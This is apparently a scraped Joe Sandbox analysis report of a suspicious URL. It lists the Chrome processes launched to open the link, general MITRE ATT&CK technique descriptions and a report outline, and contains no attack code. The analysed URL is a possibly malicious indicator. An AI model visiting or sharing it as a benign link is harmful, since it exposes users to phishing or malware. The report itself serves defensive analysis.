"Illinois", "country": "US", "loc": "41.6100,-87.6467", "org": "AS7922 Comcast Cable Communications, LLC", "postal": "60426", "timezone

Target ID:	0
Start time:	05:09:30
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	05:09:31
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1888,i,16178988422875054378,15397366870116851092,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2248 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:09:39
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Static File Info

Network Behavior

Windows Analysis Report
https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari